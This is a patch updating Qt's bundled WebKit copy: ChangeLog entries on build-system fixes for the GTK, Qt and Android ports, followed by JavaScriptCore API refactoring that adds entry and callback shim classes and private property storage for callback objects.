+2010-01-20  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Fix the recursive generated_files target to work with qmake -r -o
+
+        * DerivedSources.pro:
+
+2010-01-20  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        [Qt] Make it possible (on *nix at least) to recursively call "make generated_files"
+
+        * DerivedSources.pro:
+
+2010-01-19  Gustavo Noronha Silva  <gns@gnome.org>
+
+        Unreviewed. Shared library versioning update for 1.1.19.
+
+        * configure.ac:
+
+2010-01-15  Gustavo Noronha Silva  <gns@gnome.org>
+
+        Rubber-stamped by Xan Lopez.
+
+        Bump version to 1.1.19.
+
+        * configure.ac:
+
+2010-01-14  Csaba Osztrogonác  <ossy@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        [Qt] Defective dependencies caused build failing on QtBuildBot.
+        https://bugs.webkit.org/show_bug.cgi?id=33693
+
+        * WebKit.pri: CONFIG += depend_includepath added.
+
+2010-01-14  Steve Block  <steveblock@google.com>
+
+        Reviewed by David Levin.
+
+        Moves general includes before bindings includes in Android build system.
+        https://bugs.webkit.org/show_bug.cgi?id=33623
+
+        This avoids problems with collisions between WebCore/platform/text/StringBuilder.h
+        and the new JavaScriptCore/runtime/StringBuilder.h. This change puts
+        JavaScriptCore/runtime and other bindings includes after the WebCore and other
+        general includes, so that the WebCore StringBuilder.h is picked up when building
+        WebCore.
+
+        * Android.mk: Modified.
+
+2010-01-13  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Split the build process in two different .pro files.
+        This allows qmake to be run once all source files are available.
+
+        * DerivedSources.pro: Added.
+        * WebKit.pri:
+
+2010-01-07  Daniel Bates  <dbates@rim.com>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32987
+
+        Added ENABLE_XHTMLMP flag. Disabled by default.
+
+        * configure.ac:
+
+2010-01-05  Gustavo Noronha Silva  <gns@gnome.org>
+
+        Reviewed by Xan Lopez.
+
+        Based on idea and original patch by Evan Martin.
+
+        Remove libWebCore intermediate library, to improve link time.
+
+        [GTK] Build time must be reduced
+        https://bugs.webkit.org/show_bug.cgi?id=32921
+
+        * GNUmakefile.am:
+
+2010-01-05  Xan Lopez  <xlopez@igalia.com>
+
+        Bump for 1.1.18 release.
+
+        * configure.ac:
+
+2010-01-04  Gustavo Noronha Silva  <gns@gnome.org>
+
+        Fix JSCore-1.0.gir path to fix make distcheck.
+
+        * GNUmakefile.am:
+
+2010-01-04  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        [Qt] Fix standalone package builds.
+
+        * WebKit.pri: Add logic for detecting standalone builds. Set OUTPUT_DIR to the top-level dir in that case.
+        * WebKit.pro: Don't build JSC and DRT for package builds.
+
+2010-01-04  Eric Seidel  <eric@webkit.org>
+
+        Reviewed by Adam Barth.
+
+        bugzilla-tool should not require users to install mechanize
+        https://bugs.webkit.org/show_bug.cgi?id=32635
+
+        * .gitignore: Ignore autoinstall.cache.d directory created by autoinstall.py
+
+2009-12-28  Estêvão Samuel Procópio  <tevaum@gmail.com>
+
+        Reviewed by Gustavo Noronha Silva.
+
+        Bug 32940: [GTK] Changing the download throttle conditions.
+        https://bugs.webkit.org/show_bug.cgi?id=32716
+
+        The WebKitDownload progress notification was taking long to
+        update. This fix makes notification happens each 0.7 secs
+        or when the progress ups in 1%.
+
+        * WebKit/gtk/webkit/webkitdownload.cpp:
+
+2009-12-22  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Rubber-stamped by Holger Freyther.
+
+        Adjusted path to QtLauncher.
+
+        * WebKit.pro:
+
+2009-12-19  Evan Martin  <evan@chromium.org>
+
+        Reviewed by Gustavo Noronha Silva.
+
+        Add a couple of WebKitGtk files to .gitignore.
+
+        * .gitignore:
+
+2009-12-18  Benjamin Otte  <otte@gnome.org>
+
+        Reviewed by Xan Lopez.
+
+        [GTK] RemoveDashboard support. It's useless.
+
+        * configure.ac:
+
+2009-12-18  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        [Qt] Clean up the qmake build system to distinguish between trunk builds and package builds
+
+        https://bugs.webkit.org/show_bug.cgi?id=32716
+
+        * WebKit.pri: Use standalone_package instead of QTDIR_build
+
+2009-12-17  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Unreviewed. Build fixes for make distcheck.
+
+        * GNUmakefile.am:
+
+2009-12-16  Dan Winship  <danw@gnome.org>
+
+        Reviewed by Gustavo Noronha Silva.
+
+        [Gtk] Content-Encoding support
+
+        https://bugs.webkit.org/show_bug.cgi?id=522772
+
+        * configure.ac: require libsoup 2.28.2 for SoupContentDecoder
+
+2009-12-13  Eric Seidel  <eric@webkit.org>
+
+        Reviewed by Gavin Barraclough.
+
+        string-base64 test does not compute a valid base64 string
+        http://bugs.webkit.org/show_bug.cgi?id=16806
+
+        * tests/string-base64.js: change str[i] to str.charCodeAt(i)
+
+2009-12-10  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Reviewed by Xan Lopez.
+
+        [GTK] Should provide an API to control the IconDatabase
+        https://bugs.webkit.org/show_bug.cgi?id=32334
+
+        Add test to make sure favicon reporting works.
+
+        * GNUmakefile.am:
+
+2009-12-09  Steve Block  <steveblock@google.com>
+
+        Reviewed by Adam Barth.
+
+        Adds Android Makefiles for building with V8.
+        https://bugs.webkit.org/show_bug.cgi?id=32278
+
+        * Android.mk: Modified. Includes Makefiles for V8.
+
+2009-12-08  Steve Block  <steveblock@google.com>
+
+        Reviewed by Adam Barth.
+
+        [Android] Adds Makefiles for Android port.
+        https://bugs.webkit.org/show_bug.cgi?id=31325
+
+        * Android.mk: Added.
+
+2009-12-08  Christian Dywan  <christian@twotoasts.de>
+
+        Reviewed by Xan Lopez.
+
+        * configure.ac: Require only libSoup 2.27.91 but check for 2.29.3
+        and define HAVE_LIBSOUP_2_29_3 in that case.
+
+2009-12-08  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Rubber-stamped by Xan Lopez.
+
+        Late post-release version bump.
+
+        * configure.ac:
+
+2009-12-08  Dominik Röttsches  <dominik.roettsches@access-company.com>
+
+        Reviewed by Gustavo Noronha Silva.
+
+        [Gtk] Create a TextBreakIterator implementation based on GLib (without ICU)
+        https://bugs.webkit.org/show_bug.cgi?id=31469
+
+        Removing hybrid configuration for --with-unicode-backend=glib
+        ICU not required anymore.
+
+        * autotools/webkit.m4:
+
+2009-12-08  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Rubber-stamped by Maciej Stachowiak.
+
+        Turn on (SVG) Filters for Gtk.
+        https://bugs.webkit.org/show_bug.cgi?id=32224
+
+        * configure.ac:
+
+2009-12-07  Dmitry Titov  <dimich@chromium.org>
+
+        Rubber-stamped by Darin Adler.
+
+        Remove ENABLE_SHARED_SCRIPT flags
+        https://bugs.webkit.org/show_bug.cgi?id=32245
+        This patch was obtained by "git revert" command and then un-reverting of ChangeLog files.
+
+        * configure.ac:
+
+2009-12-06  Gustavo Noronha Silva  <gns@gnome.org>
+
+        Reviewed by Xan Lopez.
+
+        Build the new API test.
+
+        [GTK] REGRESSION: webkit thinks it can render PDFs
+        https://bugs.webkit.org/show_bug.cgi?id=32183
+
+        * GNUmakefile.am:
+
+2009-12-05  Vincent Untz <vuntz@gnome.org>
+
+        Reviewed by Gustavo Noronha.
+
+        Fixes race for builds with introspection enabled, and parallel
+        make.
+
+        * GNUmakefile.am:
+
+2009-12-04  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Gustavo Noronha.
+
+        [GTK]Enable DNS prefetching
+        https://bugs.webkit.org/show_bug.cgi?id=23846
+
+        Bump libsoup required version to 2.29.3 for DNS prefetching.
+
+        * configure.ac:
+
+2009-11-30  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Rubber-stamped by Xan Lopez.
+
+        Make sure we distribute and install GObject Introspection files.
+
+        * GNUmakefile.am:
+
+2009-11-30  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Build fix. Make sure JSCore-1.0.gir is added to the distributed
+        tarball.
+
+        * GNUmakefile.am:
+
+2009-11-30  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Gustavo Noronha.
+
+        Bump versions for 1.1.17 release.
+
+        * configure.ac:
+
 2009-11-30  Jan-Arve Sæther  <jan-arve.saether@nokia.com>
 
         Reviewed by Simon Hausmann.
@@ -8,6 +900,110 @@
 
         * WebKit.pri:
 
+2009-11-26  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Oliver Hunt.
+
+        Move GOwnPtr* from wtf to wtf/gtk
+        https://bugs.webkit.org/show_bug.cgi?id=31793
+
+        * GNUmakefile.am: Add JavaScriptCore/wtf/gtk to 
+          the include path.
+
+2009-11-24  Dmitry Titov  <dimich@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Add ENABLE_SHARED_SCRIPT feature define and flag for build-webkit
+        https://bugs.webkit.org/show_bug.cgi?id=31444
+
+        * configure.ac:
+
+2009-11-24  Jason Smith  <dark.panda@gmail.com>
+
+        Reviewed by Alexey Proskuryakov.
+
+        RegExp#exec's returned Array-like object behaves differently from
+        regular Arrays
+        https://bugs.webkit.org/show_bug.cgi?id=31689
+
+        * LayoutTests/fast/js/regexp-in-and-foreach-handling.html: Added.
+        * LayoutTests/fast/js/script-tests/regexp-in-and-foreach-handling.js: Added.
+        * LayoutTests/fast/js/regexp-in-and-foreach-handling-expected.txt: Added.
+
+2009-11-24  Jens Alfke  <snej@chromium.org>
+
+        Reviewed by David Levin.
+
+        Ignore Chromium's Xcode projects that are auto-generated from .gyp files.
+        https://bugs.webkit.org/show_bug.cgi?id=31847
+        
+        * .gitignore:  Add three .xcodeproj files.
+
+2009-11-09  Priit Laes  <plaes@plaes.org>
+
+        Reviewed by Oliver Hunt.
+
+        [Gtk] Build from tarball fails with --enable-introspection
+        https://bugs.webkit.org/show_bug.cgi?id=31261
+
+        We need to enable gobject-introspection during distcheck otherwise
+        some of the required files are missing in tarball.
+
+        * GNUmakefile.am:
+
+2009-11-05  Priit Laes  <plaes@plaes.org>
+
+        Reviewed by Jan Alonzo.
+
+        [Gtk] Build failure with --enable-introspection
+        https://bugs.webkit.org/show_bug.cgi?id=31102
+
+        Add search and include paths for JSCore-1.0.gir required by
+        gobject-introspection tools.
+
+        * GNUmakefile.am:
+
+2009-11-04  Benjamin Otte  <otte@gnome.org>
+
+        Reviewed by Gustavo Noronha.
+
+        Update Cairo requirement to 1.6.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=19266
+
+        * configure.ac:
+
+2009-11-02  Estêvão Samuel Procópio  <tevaum@gmail.com>
+
+        Reviewed by Gustavo Noronha.
+
+        [Build] make install ignores --prefix option for gobject-introspection.
+        https://bugs.webkit.org/show_bug.cgi?id=31025
+
+        Make the build system use the --prefix path also when installing
+        gobject-introspection files.
+
+        * configure.ac: use --prefix path in GITDIR and GIRTYPELIBDIR
+
+2009-11-02  Xan Lopez  <xlopez@igalia.com>
+
+        Bump version before release (or post-release, depending on your
+        point of view) so that we can make applications depending on
+        unreleased APIs in WebKit svn fail at configure time when the
+        requirements are not met.
+
+        * configure.ac:
+
+2009-11-01  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Eric Seidel.
+
+        Turn on warnings for QtWebKit for gcc
+        https://bugs.webkit.org/show_bug.cgi?id=30958
+
+        * WebKit.pri: Turn on warnings for the GCC compiler
+
 2009-10-30  Adam Barth  <abarth@webkit.org>
 
         Reviewed by Mark Rowe.
@@ -22,6 +1018,19 @@
 
         * .gitignore: Added.
 
+2009-10-30  Roland Steiner  <rolandsteiner@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Remove ENABLE_RUBY guards as discussed with Dave Hyatt and Maciej Stachowiak.
+
+        Bug 28420 -  Implement HTML5 <ruby> rendering
+        (https://bugs.webkit.org/show_bug.cgi?id=28420)
+
+        No new tests (no functional change).
+
+        * configure.ac:
+
 2009-10-26  Holger Hans Peter Freyther  <zecke@selfish.org>
 
         Rubber-stamped by Darin Adler.
diff --git a/src/3rdparty/webkit/JavaScriptCore/API/APICast.h b/src/3rdparty/webkit/JavaScriptCore/API/APICast.h
index b9167a8..ba00d02 100644
--- a/src/3rdparty/webkit/JavaScriptCore/API/APICast.h
+++ b/src/3rdparty/webkit/JavaScriptCore/API/APICast.h
@@ -29,7 +29,6 @@
 #include "JSAPIValueWrapper.h"
 #include "JSGlobalObject.h"
 #include "JSValue.h"
-#include <wtf/Platform.h>
 #include <wtf/UnusedParam.h>
 
 namespace JSC {
@@ -51,16 +50,20 @@ typedef struct OpaqueJSValue* JSObjectRef;
 
 inline JSC::ExecState* toJS(JSContextRef c)
 {
+    ASSERT(c);
     return reinterpret_cast<JSC::ExecState*>(const_cast<OpaqueJSContext*>(c));
 }
 
 inline JSC::ExecState* toJS(JSGlobalContextRef c)
 {
+    ASSERT(c);
     return reinterpret_cast<JSC::ExecState*>(c);
 }
 
-inline JSC::JSValue toJS(JSC::ExecState*, JSValueRef v)
+inline JSC::JSValue toJS(JSC::ExecState* exec, JSValueRef v)
 {
+    ASSERT_UNUSED(exec, exec);
+    ASSERT(v);
 #if USE(JSVALUE32_64)
     JSC::JSCell* jsCell = reinterpret_cast<JSC::JSCell*>(const_cast<OpaqueJSValue*>(v));
     if (!jsCell)
@@ -73,6 +76,20 @@ inline JSC::JSValue toJS(JSC::ExecState*, JSValueRef v)
 #endif
 }
 
+inline JSC::JSValue toJSForGC(JSC::ExecState* exec, JSValueRef v)
+{
+    ASSERT_UNUSED(exec, exec);
+    ASSERT(v);
+#if USE(JSVALUE32_64)
+    JSC::JSCell* jsCell = reinterpret_cast<JSC::JSCell*>(const_cast<OpaqueJSValue*>(v));
+    if (!jsCell)
+        return JSC::JSValue();
+    return jsCell;
+#else
+    return JSC::JSValue::decode(reinterpret_cast<JSC::EncodedJSValue>(const_cast<OpaqueJSValue*>(v)));
+#endif
+}
+
 inline JSC::JSObject* toJS(JSObjectRef o)
 {
     return reinterpret_cast<JSC::JSObject*>(o);
diff --git a/src/3rdparty/webkit/JavaScriptCore/API/APIShims.h b/src/3rdparty/webkit/JavaScriptCore/API/APIShims.h
new file mode 100644
index 0000000..9a6cacb
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/API/APIShims.h
@@ -0,0 +1,97 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#ifndef APIShims_h
+#define APIShims_h
+
+#include "CallFrame.h"
+#include "JSLock.h"
+
+namespace JSC {
+
+class APIEntryShimWithoutLock {
+protected:
+    APIEntryShimWithoutLock(JSGlobalData* globalData, bool registerThread)
+        : m_globalData(globalData)
+        , m_entryIdentifierTable(setCurrentIdentifierTable(globalData->identifierTable))
+    {
+        if (registerThread)
+            globalData->heap.registerThread();
+        m_globalData->timeoutChecker.start();
+    }
+
+    ~APIEntryShimWithoutLock()
+    {
+        m_globalData->timeoutChecker.stop();
+        setCurrentIdentifierTable(m_entryIdentifierTable);
+    }
+
+private:
+    JSGlobalData* m_globalData;
+    IdentifierTable* m_entryIdentifierTable;
+};
+
+class APIEntryShim : public APIEntryShimWithoutLock {
+public:
+    // Normal API entry
+    APIEntryShim(ExecState* exec, bool registerThread = true)
+        : APIEntryShimWithoutLock(&exec->globalData(), registerThread)
+        , m_lock(exec)
+    {
+    }
+
+    // JSPropertyNameAccumulator only has a globalData.
+    APIEntryShim(JSGlobalData* globalData, bool registerThread = true)
+        : APIEntryShimWithoutLock(globalData, registerThread)
+        , m_lock(globalData->isSharedInstance ? LockForReal : SilenceAssertionsOnly)
+    {
+    }
+
+private:
+    JSLock m_lock;
+};
+
+class APICallbackShim {
+public:
+    APICallbackShim(ExecState* exec)
+        : m_dropAllLocks(exec)
+        , m_globalData(&exec->globalData())
+    {
+        resetCurrentIdentifierTable();
+    }
+
+    ~APICallbackShim()
+    {
+        setCurrentIdentifierTable(m_globalData->identifierTable);
+    }
+
+private:
+    JSLock::DropAllLocks m_dropAllLocks;
+    JSGlobalData* m_globalData;
+};
+
+}
+
+#endif
diff --git a/src/3rdparty/webkit/JavaScriptCore/API/JSBase.cpp b/src/3rdparty/webkit/JavaScriptCore/API/JSBase.cpp
index 4a32d35..ebfeafa 100644
--- a/src/3rdparty/webkit/JavaScriptCore/API/JSBase.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/API/JSBase.cpp
@@ -28,6 +28,7 @@
 #include "JSBasePrivate.h"
 
 #include "APICast.h"
+#include "APIShims.h"
 #include "Completion.h"
 #include "OpaqueJSString.h"
 #include "SourceCode.h"
@@ -43,8 +44,7 @@ using namespace JSC;
 JSValueRef JSEvaluateScript(JSContextRef ctx, JSStringRef script, JSObjectRef thisObject, JSStringRef sourceURL, int startingLineNumber, JSValueRef* exception)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
     JSObject* jsThisObject = toJS(thisObject);
 
@@ -69,8 +69,7 @@ JSValueRef JSEvaluateScript(JSContextRef ctx, JSStringRef script, JSObjectRef th
 bool JSCheckScriptSyntax(JSContextRef ctx, JSStringRef script, JSStringRef sourceURL, int startingLineNumber, JSValueRef* exception)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
     SourceCode source = makeSource(script->ustring(), sourceURL->ustring(), startingLineNumber);
     Completion completion = checkSyntax(exec->dynamicGlobalObject()->globalExec(), source);
@@ -94,12 +93,11 @@ void JSGarbageCollect(JSContextRef ctx)
         return;
 
     ExecState* exec = toJS(ctx);
-    JSGlobalData& globalData = exec->globalData();
-
-    JSLock lock(globalData.isSharedInstance ? LockForReal : SilenceAssertionsOnly);
+    APIEntryShim entryShim(exec, false);
 
+    JSGlobalData& globalData = exec->globalData();
     if (!globalData.heap.isBusy())
-        globalData.heap.collect();
+        globalData.heap.collectAllGarbage();
 
     // FIXME: Perhaps we should trigger a second mark and sweep
     // once the garbage collector is done if this is called when
@@ -109,8 +107,6 @@ void JSGarbageCollect(JSContextRef ctx)
 void JSReportExtraMemoryCost(JSContextRef ctx, size_t size)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
-
+    APIEntryShim entryShim(exec);
     exec->globalData().heap.reportExtraMemoryCost(size);
 }
diff --git a/src/3rdparty/webkit/JavaScriptCore/API/JSBase.h b/src/3rdparty/webkit/JavaScriptCore/API/JSBase.h
index d1ce9b3..2e16720 100644
--- a/src/3rdparty/webkit/JavaScriptCore/API/JSBase.h
+++ b/src/3rdparty/webkit/JavaScriptCore/API/JSBase.h
@@ -65,27 +65,15 @@ typedef struct OpaqueJSValue* JSObjectRef;
 /* JavaScript symbol exports */
 
 #undef JS_EXPORT
-#if defined(BUILDING_WX__)
+#if defined(JS_NO_EXPORT)
     #define JS_EXPORT
 #elif defined(__GNUC__) && !defined(__CC_ARM) && !defined(__ARMCC__)
     #define JS_EXPORT __attribute__((visibility("default")))
-#elif defined(_WIN32_WCE)
-    #if defined(JS_BUILDING_JS)
-        #define JS_EXPORT __declspec(dllexport)
-    #elif defined(JS_IMPORT_JS)
-        #define JS_EXPORT __declspec(dllimport)
-    #else
-        #define JS_EXPORT
-    #endif
-#elif defined(WIN32) || defined(_WIN32)
-    /*
-     * TODO: Export symbols with JS_EXPORT when using MSVC.
-     * See http://bugs.webkit.org/show_bug.cgi?id=16227
-     */
+#elif defined(WIN32) || defined(_WIN32) || defined(_WIN32_WCE)
     #if defined(BUILDING_JavaScriptCore) || defined(BUILDING_WTF)
-    #define JS_EXPORT __declspec(dllexport)
+        #define JS_EXPORT __declspec(dllexport)
     #else
-    #define JS_EXPORT __declspec(dllimport)
+        #define JS_EXPORT __declspec(dllimport)
     #endif
 #else
     #define JS_EXPORT
diff --git a/src/3rdparty/webkit/JavaScriptCore/API/JSCallbackConstructor.cpp b/src/3rdparty/webkit/JavaScriptCore/API/JSCallbackConstructor.cpp
index 1c33962..9c5f6d7 100644
--- a/src/3rdparty/webkit/JavaScriptCore/API/JSCallbackConstructor.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/API/JSCallbackConstructor.cpp
@@ -26,6 +26,7 @@
 #include "config.h"
 #include "JSCallbackConstructor.h"
 
+#include "APIShims.h"
 #include "APICast.h"
 #include <runtime/JSGlobalObject.h>
 #include <runtime/JSLock.h>
@@ -66,7 +67,7 @@ static JSObject* constructJSCallback(ExecState* exec, JSObject* constructor, con
         JSValueRef exception = 0;
         JSObjectRef result;
         {
-            JSLock::DropAllLocks dropAllLocks(exec);
+            APICallbackShim callbackShim(exec);
             result = callback(ctx, constructorRef, argumentCount, arguments.data(), &exception);
         }
         if (exception)
diff --git a/src/3rdparty/webkit/JavaScriptCore/API/JSCallbackConstructor.h b/src/3rdparty/webkit/JavaScriptCore/API/JSCallbackConstructor.h
index c4bd7ad..e529947 100644
--- a/src/3rdparty/webkit/JavaScriptCore/API/JSCallbackConstructor.h
+++ b/src/3rdparty/webkit/JavaScriptCore/API/JSCallbackConstructor.h
@@ -41,7 +41,7 @@ public:
     
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
 
 protected:
diff --git a/src/3rdparty/webkit/JavaScriptCore/API/JSCallbackFunction.cpp b/src/3rdparty/webkit/JavaScriptCore/API/JSCallbackFunction.cpp
index b7dd768..63c8add 100644
--- a/src/3rdparty/webkit/JavaScriptCore/API/JSCallbackFunction.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/API/JSCallbackFunction.cpp
@@ -24,9 +24,9 @@
  */
 
 #include "config.h"
-#include <wtf/Platform.h>
 #include "JSCallbackFunction.h"
 
+#include "APIShims.h"
 #include "APICast.h"
 #include "CodeBlock.h"
 #include "JSFunction.h"
@@ -61,7 +61,7 @@ JSValue JSCallbackFunction::call(ExecState* exec, JSObject* functionObject, JSVa
     JSValueRef exception = 0;
     JSValueRef result;
     {
-        JSLock::DropAllLocks dropAllLocks(exec);
+        APICallbackShim callbackShim(exec);
         result = static_cast<JSCallbackFunction*>(functionObject)->m_callback(execRef, functionRef, thisObjRef, argumentCount, arguments.data(), &exception);
     }
     if (exception)
diff --git a/src/3rdparty/webkit/JavaScriptCore/API/JSCallbackFunction.h b/src/3rdparty/webkit/JavaScriptCore/API/JSCallbackFunction.h
index 0cf25c4..10dae6b 100644
--- a/src/3rdparty/webkit/JavaScriptCore/API/JSCallbackFunction.h
+++ b/src/3rdparty/webkit/JavaScriptCore/API/JSCallbackFunction.h
@@ -41,7 +41,7 @@ public:
     // refactor the code so this override isn't necessary
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
 
 private:
diff --git a/src/3rdparty/webkit/JavaScriptCore/API/JSCallbackObject.h b/src/3rdparty/webkit/JavaScriptCore/API/JSCallbackObject.h
index d19890a..1cf7a02 100644
--- a/src/3rdparty/webkit/JavaScriptCore/API/JSCallbackObject.h
+++ b/src/3rdparty/webkit/JavaScriptCore/API/JSCallbackObject.h
@@ -33,6 +33,84 @@
 
 namespace JSC {
 
+struct JSCallbackObjectData {
+    JSCallbackObjectData(void* privateData, JSClassRef jsClass)
+        : privateData(privateData)
+        , jsClass(jsClass)
+    {
+        JSClassRetain(jsClass);
+    }
+    
+    ~JSCallbackObjectData()
+    {
+        JSClassRelease(jsClass);
+    }
+    
+    JSValue getPrivateProperty(const Identifier& propertyName) const
+    {
+        if (!m_privateProperties)
+            return JSValue();
+        return m_privateProperties->getPrivateProperty(propertyName);
+    }
+    
+    void setPrivateProperty(const Identifier& propertyName, JSValue value)
+    {
+        if (!m_privateProperties)
+            m_privateProperties.set(new JSPrivatePropertyMap);
+        m_privateProperties->setPrivateProperty(propertyName, value);
+    }
+    
+    void deletePrivateProperty(const Identifier& propertyName)
+    {
+        if (!m_privateProperties)
+            return;
+        m_privateProperties->deletePrivateProperty(propertyName);
+    }
+
+    void markChildren(MarkStack& markStack)
+    {
+        if (!m_privateProperties)
+            return;
+        m_privateProperties->markChildren(markStack);
+    }
+
+    void* privateData;
+    JSClassRef jsClass;
+    struct JSPrivatePropertyMap {
+        JSValue getPrivateProperty(const Identifier& propertyName) const
+        {
+            PrivatePropertyMap::const_iterator location = m_propertyMap.find(propertyName.ustring().rep());
+            if (location == m_propertyMap.end())
+                return JSValue();
+            return location->second;
+        }
+        
+        void setPrivateProperty(const Identifier& propertyName, JSValue value)
+        {
+            m_propertyMap.set(propertyName.ustring().rep(), value);
+        }
+        
+        void deletePrivateProperty(const Identifier& propertyName)
+        {
+            m_propertyMap.remove(propertyName.ustring().rep());
+        }
+
+        void markChildren(MarkStack& markStack)
+        {
+            for (PrivatePropertyMap::iterator ptr = m_propertyMap.begin(); ptr != m_propertyMap.end(); ++ptr) {
+                if (ptr->second)
+                    markStack.append(ptr->second);
+            }
+        }
+
+    private:
+        typedef HashMap<RefPtr<UString::Rep>, JSValue, IdentifierRepHash> PrivatePropertyMap;
+        PrivatePropertyMap m_propertyMap;
+    };
+    OwnPtr<JSPrivatePropertyMap> m_privateProperties;
+};
+
+    
 template <class Base>
 class JSCallbackObject : public Base {
 public:
@@ -50,7 +128,22 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), Base::AnonymousSlotCount); 
+    }
+    
+    JSValue getPrivateProperty(const Identifier& propertyName) const
+    {
+        return m_callbackObjectData->getPrivateProperty(propertyName);
+    }
+    
+    void setPrivateProperty(const Identifier& propertyName, JSValue value)
+    {
+        m_callbackObjectData->setPrivateProperty(propertyName, value);
+    }
+    
+    void deletePrivateProperty(const Identifier& propertyName)
+    {
+        m_callbackObjectData->deletePrivateProperty(propertyName);
     }
 
 protected:
@@ -61,6 +154,7 @@ private:
 
     virtual bool getOwnPropertySlot(ExecState*, const Identifier&, PropertySlot&);
     virtual bool getOwnPropertySlot(ExecState*, unsigned, PropertySlot&);
+    virtual bool getOwnPropertyDescriptor(ExecState*, const Identifier&, PropertyDescriptor&);
     
     virtual void put(ExecState*, const Identifier&, JSValue, PutPropertySlot&);
 
@@ -69,7 +163,7 @@ private:
 
     virtual bool hasInstance(ExecState* exec, JSValue value, JSValue proto);
 
-    virtual void getOwnPropertyNames(ExecState*, PropertyNameArray&);
+    virtual void getOwnPropertyNames(ExecState*, PropertyNameArray&, EnumerationMode mode = ExcludeDontEnumProperties);
 
     virtual double toNumber(ExecState*) const;
     virtual UString toString(ExecState*) const;
@@ -78,6 +172,12 @@ private:
     virtual CallType getCallData(CallData&);
     virtual const ClassInfo* classInfo() const { return &info; }
 
+    virtual void markChildren(MarkStack& markStack)
+    {
+        Base::markChildren(markStack);
+        m_callbackObjectData->markChildren(markStack);
+    }
+
     void init(ExecState*);
  
     static JSCallbackObject* asCallbackObject(JSValue);
@@ -85,27 +185,10 @@ private:
     static JSValue JSC_HOST_CALL call(ExecState*, JSObject* functionObject, JSValue thisValue, const ArgList&);
     static JSObject* construct(ExecState*, JSObject* constructor, const ArgList&);
    
-    static JSValue staticValueGetter(ExecState*, const Identifier&, const PropertySlot&);
-    static JSValue staticFunctionGetter(ExecState*, const Identifier&, const PropertySlot&);
-    static JSValue callbackGetter(ExecState*, const Identifier&, const PropertySlot&);
-
-    struct JSCallbackObjectData {
-        JSCallbackObjectData(void* privateData, JSClassRef jsClass)
-            : privateData(privateData)
-            , jsClass(jsClass)
-        {
-            JSClassRetain(jsClass);
-        }
-        
-        ~JSCallbackObjectData()
-        {
-            JSClassRelease(jsClass);
-        }
-        
